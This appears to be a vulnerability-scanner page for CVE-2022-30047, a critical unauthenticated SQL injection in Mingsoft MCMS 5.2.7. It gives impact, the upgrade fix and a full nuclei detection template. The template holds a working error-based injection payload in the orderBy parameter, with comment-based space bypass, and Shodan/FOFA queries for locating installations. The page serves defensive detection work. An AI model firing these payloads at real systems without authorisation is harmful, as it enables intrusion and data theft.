Mingsoft MCMS 5.2.7 - SQL Injection

criticalseverity

9.8CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Mingsoft MCMS 5.2.7 contains a SQL injection vulnerability in the /mdiy/dict/listExcludeApp endpoint via the orderBy parameter. An unauthenticated attacker can inject SQL (spaces can be bypassed with /**/ comments) and extract or modify data. This is the same endpoint and parameter as CVE-2022-25125 (MCMS 5.2.4), reported against 5.2.7 and fixed in 5.2.8 according to Snyk. Detection uses an error-based updatexml/md5 payload consistent with the official CVE-2022-25125 nuclei template.

Impact

An unauthenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data modification.

Fix

Upgrade Mingsoft MCMS to version 5.2.8 or later.

How to confirm it

Send: GET {{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1 ; GET {{BaseURL}}/mdiy/dict/listExcludeApp.do?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25"

Run it with nuclei: nuclei -id CVE-2022-30047 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-30047

info:
  name: Mingsoft MCMS 5.2.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Mingsoft MCMS 5.2.7 contains a SQL injection vulnerability in the /mdiy/dict/listExcludeApp endpoint via the orderBy parameter. An unauthenticated attacker can inject SQL (spaces can be bypassed with /**/ comments) and extract or modify data. This is the same endpoint and parameter as CVE-2022-25125 (MCMS 5.2.4), reported against 5.2.7 and fixed in 5.2.8 according to Snyk. Detection uses an error-based updatexml/md5 payload consistent with the official CVE-2022-25125 nuclei template.
  impact: |
    An unauthenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data modification.
  remediation: |
    Upgrade Mingsoft MCMS to version 5.2.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30047
    - https://gitee.com/mingSoft/MCMS/issues/I54VLM
    - https://security.snyk.io/vuln/SNYK-JAVA-NETMINGSOFT-2823315
    - https://www.rapid7.com/db/vulnerabilities/cve-2022-30047/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-30047
    cwe-id: CWE-89
    epss-score: 0.0489
    epss-percentile: 0.92214
    cpe: cpe:2.3:a:mingsoft:mcms:5.2.7:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: mingsoft
    product: mcms
    shodan-query: http.favicon.hash:1464851260
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2022,sqli,mcms,mingsoft,vkev

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"
      - "{{BaseURL}}/mdiy/dict/listExcludeApp.do?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25"

References

Use this check only on systems you are authorised to test. Where the data comes from